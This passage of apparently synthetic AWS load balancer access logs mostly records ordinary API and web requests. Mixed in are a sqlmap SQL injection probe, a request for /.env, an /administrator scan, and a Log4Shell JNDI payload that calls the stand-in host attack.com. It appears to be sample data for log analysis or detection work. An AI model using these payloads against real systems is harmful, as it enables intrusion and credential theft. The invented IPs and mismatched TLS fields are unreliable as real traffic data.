ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9ca-cf12a091f2404a18a2bc3ee2" "staging-alb.example.com" "-" 10 2024-11-01T01:17:46.835483Z "forward" "-" "-" "129.47.70.237:443" "301" "-" "-" +https 2024-11-01T01:17:47.110792Z prod-api-alb 229.148.16.249:41365 10.0.141.59:443 0.000455 0.172689 0.095919 301 301 489 12458 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c9cb-ead8cf505f794b329c14f893" "prod-api-alb.example.com" "-" 0 2024-11-01T01:17:47.110792Z "forward" "-" "-" "10.0.141.59:443" "301" "-" "-" +https 2024-11-01T01:17:47.430324Z prod-api-alb 173.193.11.67:39273 10.0.90.16:443 0.066817 0.293537 0.049408 200 200 354 7075 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c9cb-118ec47a47014d27ab895231" "prod-api-alb.example.com" "-" 1 2024-11-01T01:17:47.430324Z "forward" "-" "-" "10.0.90.16:443" "200" "-" "-" +http 2024-11-01T01:17:48.825366Z staging-alb 38.98.70.204:27627 111.130.154.170:443 0.035737 0.311090 0.078506 301 301 755 7275 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c9cc-c265fb489bbf4dd9b6d7b4c9" "staging-alb.example.com" "-" 8 2024-11-01T01:17:48.825366Z "forward" "-" "-" "111.130.154.170:443" "301" "-" "-" +https 2024-11-01T01:17:50.013898Z prod-api-alb 172.129.166.195:62285 10.0.136.123:443 0.034999 0.109801 0.081623 200 200 498 4647 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c9ce-4c1c74264c1641b7bf64cbb2" "prod-api-alb.example.com" "-" 1 2024-11-01T01:17:50.013898Z "forward" "-" "-" "10.0.136.123:443" "200" "-" "-" +https 2024-11-01T01:17:50.608956Z prod-api-alb 160.244.32.150:25419 10.0.61.121:443 0.037193 0.265069 0.015511 200 200 428 13629 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c9ce-05e5e6a0488e4c81bbdad9f0" "prod-api-alb.example.com" "-" 2 2024-11-01T01:17:50.608956Z "forward" "-" "-" "10.0.61.121:443" "200" "-" "-" +https 2024-11-01T01:17:50.872730Z prod-api-alb 48.98.54.144:58087 10.0.50.59:443 0.021960 0.382460 0.092840 302 302 332 8690 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c9ce-972ffbf915b44cc8a820cd6d" "prod-api-alb.example.com" "-" 2 2024-11-01T01:17:50.872730Z "forward" "-" "-" "10.0.50.59:443" "302" "-" "-" +https 2024-11-01T01:17:51.615146Z staging-alb 28.249.3.160:52569 59.21.160.122:80 0.138195 0.323957 0.111569 302 302 640 7605 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c9cf-fea5fa70a15d4358ba0e4f8e" "staging-alb.example.com" "-" 9 2024-11-01T01:17:51.615146Z "forward" "-" "-" "59.21.160.122:80" "302" "-" "-" +https 2024-11-01T01:17:53.354045Z staging-alb 193.45.212.60:61006 168.96.155.205:80 0.035438 0.021346 0.110773 301 301 396 7653 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9d1-fb86b14df6ea4d49aee2e476" "staging-alb.example.com" "-" 3 2024-11-01T01:17:53.354045Z "forward" "-" "-" "168.96.155.205:80" "301" "-" "-" +http 2024-11-01T01:17:54.414084Z staging-alb 120.83.208.30:63399 173.206.31.32:443 0.048078 0.744184 0.011196 200 200 367 1198 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9d2-dd79fb95cfe643c6a9a8f2a3" "staging-alb.example.com" "-" 8 2024-11-01T01:17:54.414084Z "forward" "-" "-" "173.206.31.32:443" "200" "-" "-" +https 2024-11-01T01:17:55.030321Z prod-api-alb 133.159.84.105:20122 10.0.165.201:443 0.096423 0.366820 0.013430 200 200 337 12598 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c9d3-9fa04c0b5f7547e887a57fec" "prod-api-alb.example.com" "-" 8 2024-11-01T01:17:55.030321Z "forward" "-" "-" "10.0.165.201:443" "200" "-" "-" +https 2024-11-01T01:17:56.290385Z prod-web-alb 118.198.81.247:38314 10.0.178.111:443 0.054265 0.000976 0.051458 301 301 761 14662 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9d4-af4c1e29358341d69383e18f" "prod-web-alb.example.com" "-" 1 2024-11-01T01:17:56.290385Z "forward" "-" "-" "10.0.178.111:443" "301" "-" "-" +http 2024-11-01T01:17:57.552051Z staging-alb 234.175.176.198:16771 221.19.84.86:8080 0.077521 0.469241 0.080957 200 200 915 14318 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9d5-2f992f864a2c4996af80f398" "staging-alb.example.com" "-" 6 2024-11-01T01:17:57.552051Z "forward" "-" "-" "221.19.84.86:8080" "200" "-" "-" +https 2024-11-01T01:17:57.952006Z prod-api-alb 129.232.57.249:31113 10.0.102.95:443 0.064127 0.286025 0.022067 404 404 430 9665 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c9d5-e70f136c52ce43579b5106dd" "prod-api-alb.example.com" "-" 4 2024-11-01T01:17:57.952006Z "forward" "-" "-" "10.0.102.95:443" "404" "-" "-" +https 2024-11-01T01:17:58.623525Z prod-web-alb 41.122.211.191:10257 10.0.119.187:443 0.005105 0.195425 0.043847 200 200 641 6054 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9d6-1372b5e1834a4a089cdf951d" "prod-web-alb.example.com" "-" 2 2024-11-01T01:17:58.623525Z "forward" "-" "-" "10.0.119.187:443" "200" "-" "-" +https 2024-11-01T01:17:59.962821Z prod-api-alb 248.53.195.113:30369 10.0.204.38:443 0.087178 0.131069 0.070062 302 302 584 14641 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c9d7-9455ba07d44949c9b6ae8a8b" "prod-api-alb.example.com" "-" 7 2024-11-01T01:17:59.962821Z "forward" "-" "-" "10.0.204.38:443" "302" "-" "-" +http 2024-11-01T01:18:00.387436Z staging-alb 85.191.216.225:28799 197.32.138.161:8080 0.102839 0.180379 0.020309 200 200 547 10629 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9d8-297200a7f4964761a0c1d754" "staging-alb.example.com" "-" 10 2024-11-01T01:18:00.387436Z "forward" "-" "-" "197.32.138.161:8080" "200" "-" "-" +https 2024-11-01T01:18:01.596018Z staging-alb 10.236.76.253:31242 201.235.164.247:443 0.056993 0.320028 0.146342 200 200 597 5423 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9d9-c4592a363bea4eb8981ef003" "staging-alb.example.com" "-" 0 2024-11-01T01:18:01.596018Z "forward" "-" "-" "201.235.164.247:443" "200" "-" "-" +https 2024-11-01T01:18:02.511134Z prod-api-alb 91.170.75.70:10362 10.0.66.245:443 0.028500 0.006020 0.047890 302 302 630 12836 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c9da-74635138d95c4743af556922" "prod-api-alb.example.com" "-" 3 2024-11-01T01:18:02.511134Z "forward" "-" "-" "10.0.66.245:443" "302" "-" "-" +https 2024-11-01T01:18:03.017377Z prod-web-alb 201.214.207.189:48393 10.0.149.99:443 0.033272 0.235765 0.054622 200 200 103 13428 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c9db-c251272dde6e4d26b0cecf4c" "prod-web-alb.example.com" "-" 6 2024-11-01T01:18:03.017377Z "forward" "-" "-" "10.0.149.99:443" "200" "-" "-" +https 2024-11-01T01:18:03.672051Z prod-web-alb 132.155.19.204:49941 10.0.123.222:443 0.072621 0.026786 0.013349 200 200 248 7124 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c9db-7bc323b5733641a59b8f545c" "prod-web-alb.example.com" "-" 9 2024-11-01T01:18:03.672051Z "forward" "-" "-" "10.0.123.222:443" "200" "-" "-" +https 2024-11-01T01:18:05.440964Z prod-web-alb 91.7.135.244:25243 10.0.254.182:443 0.033277 0.214297 0.006518 302 302 611 12624 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9dd-ba7d5caccee74c38a5b42a2c" "prod-web-alb.example.com" "-" 1 2024-11-01T01:18:05.440964Z "forward" "-" "-" "10.0.254.182:443" "302" "-" "-" +http 2024-11-01T01:18:06.054223Z staging-alb 185.181.26.16:16902 157.227.183.59:80 0.064006 0.340914 0.004508 500 500 410 6571 "GET /users?id=1 OR 1=1 HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9de-bc59cd9e38a44eafa646aa69" "-" "-" 0 2024-11-01T01:18:06.054223Z "forward" "-" "-" "157.227.183.59:80" "500" "-" "-" +http 2024-11-01T01:18:07.032030Z staging-alb 193.27.228.75:54063 141.177.67.85:80 0.111198 0.665928 0.146740 302 302 350 12708 "POST /.env HTTP/1.1" "" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c9df-c0450cd11cf941db8b7f201e" "-" "-" 8 2024-11-01T01:18:07.032030Z "forward" "-" "-" "141.177.67.85:80" "302" "-" "-" +https 2024-11-01T01:18:08.060177Z prod-web-alb 0.127.81.129:64736 10.0.77.130:443 0.055521 0.322197 0.000183 200 200 702 9388 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9e0-f9d70109fc304040bd1cabe6" "prod-web-alb.example.com" "-" 2 2024-11-01T01:18:08.060177Z "forward" "-" "-" "10.0.77.130:443" "200" "-" "-" +http 2024-11-01T01:18:08.290875Z staging-alb 43.143.192.151:51803 158.87.169.237:8080 0.064433 0.154870 0.061688 404 404 840 4739 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c9e0-771cb36bcdf14b64910d1485" "staging-alb.example.com" "-" 2 2024-11-01T01:18:08.290875Z "forward" "-" "-" "158.87.169.237:8080" "404" "-" "-" +https 2024-11-01T01:18:09.721792Z staging-alb 45.155.205.139:46633 150.180.81.165:8080 0.015935 0.073512 0.142184 404 404 134 700 "GET /?x=${jndi:ldap://attack.com/exp} HTTP/1.1" "" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9e1-983a2d9b254b46e5b45fae1e" "-" "-" 5 2024-11-01T01:18:09.721792Z "forward" "-" "-" "150.180.81.165:8080" "404" "-" "-" +https 2024-11-01T01:18:10.503389Z staging-alb 90.155.155.156:10409 2.79.1.37:8080 0.029609 0.188045 0.037912 302 302 531 13329 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c9e2-0f23f6990641467cafa996b1" "staging-alb.example.com" "-" 4 2024-11-01T01:18:10.503389Z "forward" "-" "-" "2.79.1.37:8080" "302" "-" "-" +https 2024-11-01T01:18:12.245881Z prod-web-alb 191.24.71.183:37217 10.0.224.236:443 0.013934 0.046480 0.027336 200 200 589 1642 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c9e4-95217c8c662f4e2a997707d3" "prod-web-alb.example.com" "-" 7 2024-11-01T01:18:12.245881Z "forward" "-" "-" "10.0.224.236:443" "200" "-" "-" +https 2024-11-01T01:18:13.976248Z prod-api-alb 24.91.71.148:58517 10.0.242.186:443 0.023540 0.294529 0.072594 200 200 708 9880 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c9e5-1bb1612b70fe4adfb79d6639" "prod-api-alb.example.com" "-" 7 2024-11-01T01:18:13.976248Z "forward" "-" "-" "10.0.242.186:443" "200" "-" "-" +https 2024-11-01T01:18:14.949949Z prod-web-alb 238.104.108.200:33567 10.0.140.94:443 0.081469 0.008036 0.091963 301 301 220 5149 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9e6-b8e7cc0a7f3e466f85272111" "prod-web-alb.example.com" "-" 8 2024-11-01T01:18:14.949949Z "forward" "-" "-" "10.0.140.94:443" "301" "-" "-" +https 2024-11-01T01:18:15.610050Z prod-api-alb 39.203.251.164:23327 10.0.16.231:443 0.008406 0.203456 0.001050 200 200 211 14964 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c9e7-1db55231f07241c99f3864df" "prod-api-alb.example.com" "-" 6 2024-11-01T01:18:15.610050Z "forward" "-" "-" "10.0.16.231:443" "200" "-" "-" +https 2024-11-01T01:18:15.939130Z prod-web-alb 107.90.227.198:47890 10.0.210.35:443 0.003124 0.152266 0.038557 302 302 394 9370 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c9e7-cf7c9d1603bd4c529657f763" "prod-web-alb.example.com" "-" 0 2024-11-01T01:18:15.939130Z "forward" "-" "-" "10.0.210.35:443" "302" "-" "-" +https 2024-11-01T01:18:16.583920Z prod-api-alb 87.31.125.230:63174 10.0.124.29:443 0.071551 0.107980 0.052706 200 200 270 7544 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c9e8-8a634d24e87a4b9dbb0bb8f0" "prod-api-alb.example.com" "-" 8 2024-11-01T01:18:16.583920Z "forward" "-" "-" "10.0.124.29:443" "200" "-" "-" +https 2024-11-01T01:18:17.952523Z prod-web-alb 193.27.228.87:24595 10.0.30.51:443 0.068080 0.332706 0.010089 301 301 220 11757 "GET /administrator HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c9e9-26d053b4eb5344068eba6893" "-" "-" 0 2024-11-01T01:18:17.952523Z "forward" "-" "-" "10.0.30.51:443" "301" "-" "-" +https 2024-11-01T01:18:18.951642Z prod-web-alb 202.83.12.90:21710 10.0.163.20:443 0.048445 0.329056 0.025593 200 200 987 1809 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c9ea-5764428b6ff64d8e8dba00e8" "prod-web-alb.example.com" "-" 1 2024-11-01T01:18:18.951642Z "forward" "-" "-" "10.0.163.20:443" "200" "-" "-" +https 2024-11-01T01:18:19.345065Z prod-api-alb 59.7.252.67:51749 10.0.92.110:443 0.037720 0.021903 0.023461 200 200 374 6329 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c9eb-927f118b330b4134ae56f0eb" "prod-api-alb.example.com" "-" 10 2024-11-01T01:18:19.345065Z "forward" "-" "-" "10.0.92.110:443" "200" "-" "-" +https 2024-11-01T01:18:20.072321Z prod-web-alb 209.13.154.66:40204 10.0.55.12:443 0.071625 0.093508 0.060853 200 200 620 9952 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9ec-124cc657e59c420aad7b2943" "prod-web-alb.example.com" "-" 2 2024-11-01T01:18:20.072321Z "forward" "-" "-" "10.0.55.12:443" "200" "-" "-" +http 2024-11-01T01:18:21.787463Z staging-alb 244.65.162.201:22233 163.249.127.159:8080 0.084839 0.740725 0.064141 200 200 693 2547 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c9ed-1602061b9e004b85a2f862f7" "staging-alb.example.com" "-" 3 2024-11-01T01:18:21.787463Z "forward" "-" "-" "163.249.127.159:8080" "200" "-" "-" +https 2024-11-01T01:18:23.295005Z prod-web-alb 148.201.234.82:50162 10.0.161.213:443 0.000060 0.098641 0.066605 200 200 929 11591 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c9ef-28070fffae8a41a4b8899435" "prod-web-alb.example.com" "-" 6 2024-11-01T01:18:23.295005Z "forward" "-" "-" "10.0.161.213:443" "200" "-" "-" +https 2024-11-01T01:18:24.165859Z prod-api-alb 38.228.44.135:19882 10.0.2.139:443 0.011661 0.029344 0.030776 200 200 932 4560 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c9f0-9c128db14be04b9a82d702f6" "prod-api-alb.example.com" "-" 1 2024-11-01T01:18:24.165859Z "forward" "-" "-" "10.0.2.139:443" "200" "-" "-" +http 2024-11-01T01:18:25.926509Z staging-alb 233.179.2.131:42892 32.245.228.41:443 0.006860 0.391597 0.066247 200 200 797 10449 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c9f1-70b66f7906334870a148cd7c" "staging-alb.example.com" "-" 0 2024-11-01T01:18:25.926509Z "forward" "-" "-" "32.245.228.41:443" "200" "-" "-" +https 2024-11-01T01:18:26.097850Z staging-alb 198.221.176.50:31104 165.247.164.102:8080 0.060605 0.356736 0.126495 200 200 710 2548 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c9f2-a4f54caede534033801b02ea" "staging-alb.example.com" "-" 2 2024-11-01T01:18:26.097850Z "forward" "-" "-" "165.247.164.102:8080" "200" "-" "-" +https 2024-11-01T01:18:27.980298Z staging-alb 77.82.182.18:59650 217.187.51.138:443 0.022594 0.289742 0.069311 200 200 634 5206 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c9f3-1565b37cd03244028529dbaa" "staging-alb.example.com" "-" 5 2024-11-01T01:18:27.980298Z "forward" "-" "-" "217.187.51.138:443" "200" "-" "-" +https 2024-11-01T01:18:29.005914Z staging-alb 246.16.108.87:21797 173.211.245.32:80 0.144208 0.164991 0.088806 200 200 789 3835 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c9f5-16ec65b4b09e49a6b534e98c" "staging-alb.example.com" "-" 4 2024-11-01T01:18:29.005914Z "forward" "-" "-" "173.211.245.32:80" "200" "-" "-" +https 2024-11-01T01:18:30.612447Z prod-web-alb 98.231.44.233:35566 10.0.39.205:443 0.089406 0.262450 0.031137 301 301 961 14375 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9f6-51c5bde22da746e5af13bd1c" "prod-web-alb.example.com" "-" 5 2024-11-01T01:18:30.612447Z "forward" "-" "-" "10.0.39.205:443" "301" "-" "-" +https 2024-11-01T01:18:31.757559Z prod-api-alb 28.26.58.226:46308 10.0.235.10:443 0.031452 0.203200 0.018268 200 200 234 8039 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c9f7-8fa6da942db6478096d3c05d" "prod-api-alb.example.com" "-" 6 2024-11-01T01:18:31.757559Z "forward" "-" "-" "10.0.235.10:443" "200" "-" "-" +https 2024-11-01T01:18:33.138370Z prod-api-alb 163.40.21.200:21562 10.0.246.200:443 0.060079 0.284916 0.064033 302 302 580 6209 "GET /api/v1/orders 